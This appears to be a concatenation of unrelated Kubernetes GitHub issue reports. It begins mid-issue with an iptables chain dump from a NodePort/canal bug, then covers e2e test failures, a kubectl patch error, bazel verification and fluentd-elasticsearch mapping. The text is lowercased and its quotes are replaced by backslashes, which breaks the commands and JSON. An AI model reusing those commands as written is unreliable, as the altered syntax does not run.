 \r chain input  policy accept 0 packets, 0 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r   627  238k felix-input  all  --  any    any     anywhere             anywhere            \r 22383 5721k kube-firewall  all  --  any    any     anywhere             anywhere            \r     7   448 f2b-sshd   tcp  --  any    any     anywhere             anywhere             multiport dports ssh\r 22421 5723k ufw-before-logging-input  all  --  any    any     anywhere             anywhere            \r 22421 5723k ufw-before-input  all  --  any    any     anywhere             anywhere            \r 11828  769k ufw-after-input  all  --  any    any     anywhere             anywhere            \r 10228  619k ufw-after-logging-input  all  --  any    any     anywhere             anywhere            \r 10228  619k ufw-reject-input  all  --  any    any     anywhere             anywhere            \r 10228  619k ufw-track-input  all  --  any    any     anywhere             anywhere            \r \r chain forward  policy drop 0 packets, 0 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 felix-forward  all  --  any    any     anywhere             anywhere            \r     0     0 docker-isolation  all  --  any    any     anywhere             anywhere            \r     0     0 docker     all  --  any    docker0  anywhere             anywhere            \r     0     0 accept     all  --  any    docker0  anywhere             anywhere             ctstate related,established\r     0     0 accept     all  --  docker0 !docker0  anywhere             anywhere            \r     0     0 accept     all  --  docker0 docker0  anywhere             anywhere            \r     0     0 ufw-before-logging-forward  all  --  any    any     anywhere             anywhere            \r     0     0 ufw-before-forward  all  --  any    any     anywhere             anywhere            \r     0     0 ufw-after-forward  all  --  any    any     anywhere             anywhere            \r     0     0 ufw-after-logging-forward  all  --  any    any     anywhere             anywhere            \r     0     0 ufw-reject-forward  all  --  any    any     anywhere             anywhere            \r     0     0 ufw-track-forward  all  --  any    any     anywhere             anywhere            \r \r chain output  policy accept 0 packets, 0 bytes \r  pkts bytes target     prot opt in     out     source               destination         \r   603  271k felix-output  all  --  any    any     anywhere             anywhere            \r 12066 8724k kube-services  all  --  any    any     anywhere             anywhere             /  kubernetes service portals  /\r 11638 5267k kube-firewall  all  --  any    any     anywhere             anywhere            \r 11674 5269k ufw-before-logging-output  all  --  any    any     anywhere             anywhere            \r 11674 5269k ufw-before-output  all  --  any    any     anywhere             anywhere            \r  1219 81378 ufw-after-output  all  --  any    any     anywhere             anywhere            \r  1219 81378 ufw-after-logging-output  all  --  any    any     anywhere             anywhere            \r  1219 81378 ufw-reject-output  all  --  any    any     anywhere             anywhere            \r  1219 81378 ufw-track-output  all  --  any    any     anywhere             anywhere            \r \r chain docker  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain docker-isolation  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 return     all  --  any    any     anywhere             anywhere            \r \r chain kube-firewall  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 drop       all  --  any    any     anywhere             anywhere             /  kubernetes firewall for dropping marked packets  / mark match 0x8000/0x8000\r \r chain kube-services  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain f2b-sshd  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     7   448 return     all  --  any    any     anywhere             anywhere            \r \r chain felix-failsafe-in  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 accept     tcp  --  any    any     anywhere             anywhere             tcp dpt:ssh\r \r chain felix-failsafe-out  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 accept     tcp  --  any    any     anywhere             anywhere             tcp dpt:2379\r     0     0 accept     tcp  --  any    any     anywhere             anywhere             tcp dpt:2380\r     0     0 accept     tcp  --  any    any     anywhere             anywhere             tcp dpt:4001\r     0     0 accept     tcp  --  any    any     anywhere             anywhere             tcp dpt:afs3-callback\r \r chain felix-forward  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 drop       all  --  cali+  any     anywhere             anywhere             ctstate invalid\r     0     0 drop       all  --  any    cali+   anywhere             anywhere             ctstate invalid\r     0     0 accept     all  --  cali+  any     anywhere             anywhere             ctstate related,established\r     0     0 accept     all  --  any    cali+   anywhere             anywhere             ctstate related,established\r     0     0 felix-from-endpoint  all  --  cali+  any     anywhere             anywhere            \r     0     0 felix-to-endpoint  all  --  any    cali+   anywhere             anywhere            \r     0     0 accept     all  --  cali+  any     anywhere             anywhere            \r     0     0 accept     all  --  any    cali+   anywhere             anywhere            \r \r chain felix-from-endpoint  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 felix-from-2364763ca74  all  --  cali2364763ca74 any     anywhere             anywhere             goto  \r     0     0 felix-from-428849870ea  all  --  cali428849870ea any     anywhere             anywhere             goto  \r     0     0 drop       all  --  any    any     anywhere             anywhere             /  from unknown endpoint  /\r \r chain felix-from-host-if  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r    11   660 return     all  --  any    any     anywhere             anywhere             /  unknown interface, return  /\r \r chain felix-input  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 drop       all  --  any    any     anywhere             anywhere             ctstate invalid\r   616  237k accept     all  --  any    any     anywhere             anywhere             ctstate related,established\r    11   660 felix-from-host-if  all  --  !cali+ any     anywhere             anywhere             goto  \r     0     0 accept     udp  --  any    any     anywhere             anywhere             udp spt:bootpc dpt:bootps\r     0     0 accept     udp  --  any    any     anywhere             anywhere             udp dpt:domain\r     0     0 felix-from-endpoint  all  --  any    any     anywhere             anywhere            \r \r chain felix-output  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 drop       all  --  any    any     anywhere             anywhere             ctstate invalid\r   603  271k accept     all  --  any    any     anywhere             anywhere             ctstate related,established\r     0     0 felix-to-host-if  all  --  any    !cali+  anywhere             anywhere             goto  \r \r chain felix-to-endpoint  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 felix-to-2364763ca74  all  --  any    cali2364763ca74  anywhere             anywhere             goto  \r     0     0 felix-to-428849870ea  all  --  any    cali428849870ea  anywhere             anywhere             goto  \r     0     0 drop       all  --  any    any     anywhere             anywhere             /  to unknown endpoint  /\r \r chain felix-to-host-if  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 return     all  --  any    any     anywhere             anywhere             /  unknown interface, return  /\r \r chain felix-from-2364763ca74  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --  any    any     anywhere             anywhere             mark and 0xfeffffff\r     0     0 drop       all  --  any    any     anywhere             anywhere             mac ! 2a:e8:7f:82:aa:b5 /  incorrect source mac  /\r     0     0 mark       all  --  any    any     anywhere             anywhere             /  start of tier k8s-network-policy  / mark and 0xfdffffff\r     0     0 felix-p-_3806fbfa06d1365-o  all  --  any    any     anywhere             anywhere             mark match 0x0/0x2000000\r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x1000000/0x1000000 /  return if policy accepted  /\r     0     0 drop       all  --  any    any     anywhere             anywhere             mark match 0x0/0x2000000 /  drop if no policy in tier passed  /\r     0     0 felix-p-_0f05888047b5982-o  all  --  any    any     anywhere             anywhere            \r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x1000000/0x1000000 /  profile accepted packet  /\r     0     0 drop       all  --  any    any     anywhere             anywhere             /  packet did not match any profile  endpoint eth0   /\r \r chain felix-from-428849870ea  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --  any    any     anywhere             anywhere             mark and 0xfeffffff\r     0     0 drop       all  --  any    any     anywhere             anywhere             mac ! e6:76:86:8b:42:2a /  incorrect source mac  /\r     0     0 mark       all  --  any    any     anywhere             anywhere             /  start of tier k8s-network-policy  / mark and 0xfdffffff\r     0     0 felix-p-_3806fbfa06d1365-o  all  --  any    any     anywhere             anywhere             mark match 0x0/0x2000000\r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x1000000/0x1000000 /  return if policy accepted  /\r     0     0 drop       all  --  any    any     anywhere             anywhere             mark match 0x0/0x2000000 /  drop if no policy in tier passed  /\r     0     0 felix-p-_0f05888047b5982-o  all  --  any    any     anywhere             anywhere            \r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x1000000/0x1000000 /  profile accepted packet  /\r     0     0 drop       all  --  any    any     anywhere             anywhere             /  packet did not match any profile  endpoint eth0   /\r \r chain felix-p-_0f05888047b5982-i  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --  any    any     anywhere             anywhere             mark or 0x1000000\r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x1000000/0x1000000\r \r chain felix-p-_0f05888047b5982-o  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --  any    any     anywhere             anywhere             mark or 0x1000000\r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x1000000/0x1000000\r \r chain felix-p-_3806fbfa06d1365-i  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --  any    any     anywhere             anywhere             mark or 0x2000000\r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x2000000/0x2000000\r \r chain felix-p-_3806fbfa06d1365-o  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --  any    any     anywhere             anywhere             mark or 0x2000000\r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x2000000/0x2000000\r \r chain felix-to-2364763ca74  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --  any    any     anywhere             anywhere             mark and 0xfeffffff\r     0     0 mark       all  --  any    any     anywhere             anywhere             /  start of tier k8s-network-policy  / mark and 0xfdffffff\r     0     0 felix-p-_3806fbfa06d1365-i  all  --  any    any     anywhere             anywhere             mark match 0x0/0x2000000\r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x1000000/0x1000000 /  return if policy accepted  /\r     0     0 drop       all  --  any    any     anywhere             anywhere             mark match 0x0/0x2000000 /  drop if no policy in tier passed  /\r     0     0 felix-p-_0f05888047b5982-i  all  --  any    any     anywhere             anywhere            \r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x1000000/0x1000000 /  profile accepted packet  /\r     0     0 drop       all  --  any    any     anywhere             anywhere             /  packet did not match any profile  endpoint eth0   /\r \r chain felix-to-428849870ea  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 mark       all  --  any    any     anywhere             anywhere             mark and 0xfeffffff\r     0     0 mark       all  --  any    any     anywhere             anywhere             /  start of tier k8s-network-policy  / mark and 0xfdffffff\r     0     0 felix-p-_3806fbfa06d1365-i  all  --  any    any     anywhere             anywhere             mark match 0x0/0x2000000\r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x1000000/0x1000000 /  return if policy accepted  /\r     0     0 drop       all  --  any    any     anywhere             anywhere             mark match 0x0/0x2000000 /  drop if no policy in tier passed  /\r     0     0 felix-p-_0f05888047b5982-i  all  --  any    any     anywhere             anywhere            \r     0     0 return     all  --  any    any     anywhere             anywhere             mark match 0x1000000/0x1000000 /  profile accepted packet  /\r     0     0 drop       all  --  any    any     anywhere             anywhere             /  packet did not match any profile  endpoint eth0   /\r \r chain ufw-after-forward  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-after-input  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r  1187 94602 ufw-skip-to-policy-input  udp  --  any    any     anywhere             anywhere             udp dpt:netbios-ns\r   103 23080 ufw-skip-to-policy-input  udp  --  any    any     anywhere             anywhere             udp dpt:netbios-dgm\r     0     0 ufw-skip-to-policy-input  tcp  --  any    any     anywhere             anywhere             tcp dpt:netbios-ssn\r     0     0 ufw-skip-to-policy-input  tcp  --  any    any     anywhere             anywhere             tcp dpt:microsoft-ds\r    11  3719 ufw-skip-to-policy-input  udp  --  any    any     anywhere             anywhere             udp dpt:bootps\r     0     0 ufw-skip-to-policy-input  udp  --  any    any     anywhere             anywhere             udp dpt:bootpc\r     0     0 ufw-skip-to-policy-input  all  --  any    any     anywhere             anywhere             addrtype match dst-type broadcast\r \r chain ufw-after-logging-forward  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-after-logging-input  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-after-logging-output  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-after-output  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-before-forward  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 accept     all  --  any    any     anywhere             anywhere             ctstate related,established\r     0     0 accept     icmp --  any    any     anywhere             anywhere             icmp destination-unreachable\r     0     0 accept     icmp --  any    any     anywhere             anywhere             icmp source-quench\r     0     0 accept     icmp --  any    any     anywhere             anywhere             icmp time-exceeded\r     0     0 accept     icmp --  any    any     anywhere             anywhere             icmp parameter-problem\r     0     0 accept     icmp --  any    any     anywhere             anywhere             icmp echo-request\r     0     0 ufw-user-forward  all  --  any    any     anywhere             anywhere            \r \r chain ufw-before-input  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r  3444  207k accept     all  --  lo     any     anywhere             anywhere            \r     0     0 accept     all  --  any    any     anywhere             anywhere             ctstate related,established\r     0     0 ufw-logging-deny  all  --  any    any     anywhere             anywhere             ctstate invalid\r     0     0 drop       all  --  any    any     anywhere             anywhere             ctstate invalid\r     0     0 accept     icmp --  any    any     anywhere             anywhere             icmp destination-unreachable\r     0     0 accept     icmp --  any    any     anywhere             anywhere             icmp source-quench\r     0     0 accept     icmp --  any    any     anywhere             anywhere             icmp time-exceeded\r     0     0 accept     icmp --  any    any     anywhere             anywhere             icmp parameter-problem\r     0     0 accept     icmp --  any    any     anywhere             anywhere             icmp echo-request\r     0     0 accept     udp  --  any    any     anywhere             anywhere             udp spt:bootps dpt:bootpc\r  9181  598k ufw-not-local  all  --  any    any     anywhere             anywhere            \r     0     0 accept     udp  --  any    any     anywhere             224.0.0.251          udp dpt:mdns\r     0     0 accept     udp  --  any    any     anywhere             239.255.255.250      udp dpt:1900\r  9181  598k ufw-user-input  all  --  any    any     anywhere             anywhere            \r \r chain ufw-before-logging-forward  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-before-logging-input  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-before-logging-output  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-before-output  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r  3375  203k accept     all  --  any    lo      anywhere             anywhere            \r     0     0 accept     all  --  any    any     anywhere             anywhere             ctstate related,established\r   584 41189 ufw-user-output  all  --  any    any     anywhere             anywhere            \r \r chain ufw-logging-allow  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-logging-deny  2 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-not-local  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r  7880  476k return     all  --  any    any     anywhere             anywhere             addrtype match dst-type local\r     0     0 return     all  --  any    any     anywhere             anywhere             addrtype match dst-type multicast\r  1301  121k return     all  --  any    any     anywhere             anywhere             addrtype match dst-type broadcast\r     0     0 ufw-logging-deny  all  --  any    any     anywhere             anywhere             limit: avg 3/min burst 10\r     0     0 drop       all  --  any    any     anywhere             anywhere            \r \r chain ufw-reject-forward  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-reject-input  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-reject-output  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-skip-to-policy-forward  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 drop       all  --  any    any     anywhere             anywhere            \r \r chain ufw-skip-to-policy-input  7 references \r  pkts bytes target     prot opt in     out     source               destination         \r  1301  121k accept     all  --  any    any     anywhere             anywhere            \r \r chain ufw-skip-to-policy-output  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 accept     all  --  any    any     anywhere             anywhere            \r \r chain ufw-track-forward  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-track-input  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r  7842  471k accept     tcp  --  any    any     anywhere             anywhere             ctstate new\r    36  5577 accept     udp  --  any    any     anywhere             anywhere             ctstate new\r \r chain ufw-track-output  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r   247 14820 accept     tcp  --  any    any     anywhere             anywhere             ctstate new\r   337 26369 accept     udp  --  any    any     anywhere             anywhere             ctstate new\r \r chain ufw-user-forward  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r \r chain ufw-user-input  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r     2   128 accept     tcp  --  any    any     anywhere             anywhere             tcp dpt:ssh\r \r chain ufw-user-limit  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 reject     all  --  any    any     anywhere             anywhere             reject-with icmp-port-unreachable\r \r chain ufw-user-limit-accept  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 accept     all  --  any    any     anywhere             anywhere            \r \r chain ufw-user-logging-forward  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 return     all  --  any    any     anywhere             anywhere            \r \r chain ufw-user-logging-input  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 return     all  --  any    any     anywhere             anywhere            \r \r chain ufw-user-logging-output  0 references \r  pkts bytes target     prot opt in     out     source               destination         \r     0     0 return     all  --  any    any     anywhere             anywhere            \r \r chain ufw-user-output  1 references \r  pkts bytes target     prot opt in     out     source               destination         \r    \r </details>\r <br/>\r \r   what you expected to happen  :\r \r i suggest that kube-proxy should add an iptables forward rule to accept packets that have been marked by kube-mark-masq.\r \r to explain why i suggest this, here's my understanding of what's going on.  i'm new to k8s and not very proficient in iptables so my logic may be flawed.  the kube-ravi196 receives the request from an external source to destination 10.163.148.196:30080.  it correctly dnats it to the <pod ip>:5000 and then marks it with kube-mark-masq.  the packets then get routed to the canal created vxlan designated for the pod and the packets then hit the forward iptables chain.  canal  calico  adds a felix-forward chain to selectively accept packets but it is skipping externally sourced packets.  the packets then get dropped as per the default forward policy.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a cluster with canal cni and then add a pod + service with nodeport configured.  you will not be able to access the service externally.\r \r   anything else do we need to know  :\r \r i originally raised this as a stackoverflow question, http://stackoverflow.com/questions/41479648/kubernetes-networking-issue-service-nodeport-cant-be-reached-externally.\r \r  20391 targets iptables rules for postrouting with flannel but this is for forward with canal so i think they are related but not duplicates.\r \r if this issue should be instead raised with canal/calico/flannel, let me know and i will close this one.

both https://k8s-testgrid.appspot.com/wg-resource-management gce-gpu and https://k8s-testgrid.appspot.com/wg-resource-management gke-gpu started failing recently. their 1.7 counterparts are passing.\r \r the difference between the last passing and the first failing tests is:\r https://github.com/kubernetes/kubernetes/compare/72494353c...c25a7e6a7\r probably something in  48846 broke the tests.\r \r  /cc @vishh @dashpole \r 

the upgrade test fails for these two test. most recent job:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/179\r \r dashboard: https://k8s-testgrid.appspot.com/master-upgrade gke-gci-1.7-gci-master-upgrade-cluster-new&sort-by-failures=\r \r @kubernetes/sig-network-bugs

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r kubectl --namespace=dev patch serviceaccount default -p '{\ imagepullsecrets\ : {\ name\ :\ gcr-json-key\ } }'\r \r fails with\r \r error from server: json: cannot unmarshal string into go value of type map string interface {}\r \r   what you expected to happen  :\r \r service account is updated\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. install minikube\r 2. choco install kubernetes-cli --version 1.8.5\r 3. kubectl create namespace dev\r 4. kubectl --namespace=dev create secret docker-registry gcr-json-key --docker-server=https://eu.gcr.io --docker-username=_json_key --docker-password=\ ---password---\  --docker-email=myemail@gmail.com\r 5. kubectl --namespace=dev patch serviceaccount default -p '{\ imagepullsecrets\ : {\ name\ :\ gcr-json-key\ } }'\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ clean\ , builddate:\ 2017-11-29t22:43:34z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r minikube\r \r - os  e.g. from /etc/os-release :\r windows and minikube\r

the tests are failing in http://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.9-master-upgrade-master\r \r  / /  /status approved-for-milestone\r /milestone v1.10\r \r cc @jdumars @jberkus \r /assign @lavalamp @deads2k

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when running hpa scale-down e2e test  should scale from 2 pods to 1 pod  on my local k8s cluster, that fails due to timeout.\r that means 2 pods were not reduced to 1 pod.\r \r   what you expected to happen  :\r \r the test could be passed on the cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just run the following command for operating the e2e test:\r    \r $ go run hack/e2e.go -- --provider=skeleton --test --test_args=\ --ginkgo.focus=2\\spods\\sto\\s1\\spod\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : client: v1.11.1, server: v1.11.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : 16.04.5 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-130-generic\r - install tools: kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r since 8/31, these tests have started flaking, and then started failing consistently.\r \r https://k8s-testgrid.appspot.com/sig-storage gce-serial\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/4046\r \r /assign

since we're likely to want to use jsonpath output with bash, we need to have a way to ensure that output can be safely escaped for use with scripting.  go templates support quoting and encoding, but we have no jsonpath equivalent.  e.g.  oc get -o jsonpath -t 'echo {.metadata.annotations foo }'  could contain spaces and thus makes it difficult to safely encode.  the  strconv.quote  function is an effective tool in this space.

hi,  i noticed a little oddity. when i run \ kubectl delete namespace --all\  the command always exists with error since it can t delete default. i think it would be helpfull if the command would exit with 0  success  in that case. having a command always failing makes no sense to me.       centos@admin01 ~ $ kubectl delete namespace --all namespaces/dev namespaces/intg namespaces/kube-system namespaces/local namespaces/prod namespaces/stage namespaces/test error from server: namespace \ default\  is forbidden: namespace can never be deleted           centos@admin01 ~ $ kubectl version client version: version.info{major:\ 1\ , minor:\ 0.3\ , gitversion:\ v1.0.3.34+b9a88a7d0e357b\ , gitcommit:\ b9a88a7d0e357be2174011dd2b127038c6ea8929\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 0.3\ , gitversion:\ v1.0.3.34+b9a88a7d0e357b\ , gitcommit:\ b9a88a7d0e357be2174011dd2b127038c6ea8929\ , gittreestate:\ clean\ }

we added a blanket firewall rule for nodeports in:https://github.com/kubernetes/kubernetes/pull/8728 this should be modified to allow just jenkins traffic + 130.211.0.0/22  for loadbalancer .

verify-release-1.5  job is consistently failing \ verify-bazel\  on the  release-1.5  branch. see https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-verify-release-1.5/\r \r error:\r    \r ...\r w1115 12:23:39.907  wrote build for \ /go/src/k8s.io/kubernetes/test/e2e/framework\ \r w1115 12:23:40.004  wrote build for \ /go/src/k8s.io/kubernetes/test/e2e_node\ \r w1115 12:23:40.485  wrote build for \ /go/src/k8s.io/kubernetes/test/integration/framework\ \r w1115 12:23:40.522  wrote build for \ /go/src/k8s.io/kubernetes/test/integration/scheduler_perf\ \r w1115 12:23:41.077  wrote build for \ /go/src/k8s.io/kubernetes/federation/pkg/dnsprovider/providers/google/clouddns\ \r w1115 12:23:41.630  wrote build for \ /go/src/k8s.io/kubernetes/federation/pkg/kubefed/init\ \r i1115 12:23:41.697  \r i1115 12:23:41.698  build files are not up to date\r i1115 12:23:41.698  run ./hack/update-bazel.sh\r i1115 12:23:41.699  failed   hack/make-rules/../../hack/verify-bazel.sh\t30s\r    \r \r i did a fast-forward on the  release-1.5  branch on nov 14 6 pm pst. see  logs here  https://gist.github.com/saad-ali/f542a53eff1cb29344c06ec80dbbf2cd .\r \r looks like the  update-bazel  step succeed even though it was silently failing:\r    \r \u001b 0;33mupdating bazel\u001b 0m\r extract err: cannot find package \ cloud.google.com/go/internal\  in any of:\r \t/usr/local/google/home/saadali/.gimme/versions/go1.7.linux.amd64/src/cloud.google.com/go/internal  from $goroot \r \t/usr/local/google/home/saadali/go/src/cloud.google.com/go/internal  from $gopath \r extract err: cannot find package \ github.com/azure/go-autorest/autorest\  in any of:\r \t/usr/local/google/home/saadali/.gimme/versions/go1.7.linux.amd64/src/github.com/azure/go-autorest/autorest  from $goroot \r \t/usr/local/google/home/saadali/go/src/github.com/azure/go-autorest/autorest  from $gopath \r extract err: cannot find package \ github.com/azure/go-autorest/autorest/azure\  in any of:\r \t/usr/local/google/home/saadali/.gimme/versions/go1.7.linux.amd64/src/github.com/azure/go-autorest/autorest/azure  from $goroot \r \t/usr/local/google/home/saadali/go/src/github.com/azure/go-autorest/autorest/azure  from $gopath \r ...\r extract err: cannot find package \ k8s.io/client-go/pkg/util/diff\  in any of:\r \t/usr/local/google/home/saadali/.gimme/versions/go1.7.linux.amd64/src/k8s.io/client-go/pkg/util/diff  from $goroot \r \t/usr/local/google/home/saadali/go/src/k8s.io/client-go/pkg/util/diff  from $gopath \r wrote build for \ /usr/local/google/saadali/branchff-release-1.5/kubernetes/federation/pkg/kubefed/init\ \r \u001b 0;32mupdate scripts completed successfully\u001b 0m\r \u001b 1m\u001b 32mok\u001b b\u001b m\r     \r \r i will fix the 1.5 release branch but this bug is to make sure that  update-bazel  is modified to fail if it encounters \ cannot find package\  errors.\r \r cc @mikedanese  @kubernetes/test-infra-maintainers

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : user \ system:anonymous\  cannot proxy services in the namespace \ default\ .\r \r   kubernetes version    use  kubectl version  :\r    \r ~kubectl version --short\r client version: v1.6.0-alpha.0.2996+add3a08a6d3648\r server version: v1.6.0-alpha.0.2996+add3a08a6d3648\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r \r   what happened  :\r unable to access services via the proxy endpoint.\r \r   what you expected to happen  :\r the service to be accessible via /api/v1/proxy/...\r \r   how to reproduce it    as minimally and precisely as possible :\r - check out sources from head\r - make quick-release\r - cluster/kube-up.sh\r \r cannot access any service via the proxy  see kubectl cluster-info for some examples , for example:\r    \r ~ curl -k https://<server>/api/v1/proxy/namespaces/kube-system/services/kubernetes-dashboard\r user \ system:anonymous\  cannot proxy services in the namespace \ kube-system\ .\r    \r   anything else do we need to know  :\r this is a regression from 1.5.1.\r \r \r /cc @kubernetes/sig-auth-misc @kubernetes/sig-network-misc \r

i tried to search the issues for \ elasticsearch mapping\ , \ elasticsearch mappings\ , \ elasticsearch template' but found nothing similar.\r \r so i fill this bug report.\r \r   kubernetes version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : centos linux 7  core \r -   kernel  : linux ip-10-0-0-76 3.10.0-327.10.1.el7.x86_64  1 smp tue feb 16 17:03:50 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   others  : the issue is about https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/fluentd-elasticsearch\r \r \r   what happened  :\r it looks like customized mapping for logs is not working.\r \r fluentd-elasticsearch addon  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/fluentd-elasticsearch  includes\r index template for elasticsearch  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/es-image/template-k8s-logstash.json  that is placed in config/templates directory of elasticsearch.\r this index template is supposed to make sure that when new index is automatically created  when new log documment are received by elasticsearch  proper mapping is given.\r for example, the following fragment:\r \r    \r   \ kubernetes_field\  : {\r           \ match_mapping_type\ : \ string\ ,\r           \ path_match\  : \ kubernetes. \ ,\r           \ mapping\  : {\r             \ type\  : \ string\ ,\r             \ index\  : \ not_analyzed\ \r           }\r \t}\r    \t\t  \r should make sure that every property of kubernetes field is not analyzed.\r \r as i understand it this mechanism is based on the feature described here:\r https://www.elastic.co/guide/en/elasticsearch/reference/1.7/indices-templates.html config\r \r if you browse through the documetation for higher version of elasticsearch  2.x, 5.x  are missing this information: \r https://www.elastic.co/guide/en/elasticsearch/reference/2.0/indices-templates.html config\r \r i did an experiment on my local machine, and it turnes out that putting any index template file in config/templates folder doesn't work.\r \r furthermore: i've checked \ pure\  k8s cluster set up with fluentd-elastic addon installed.\r there 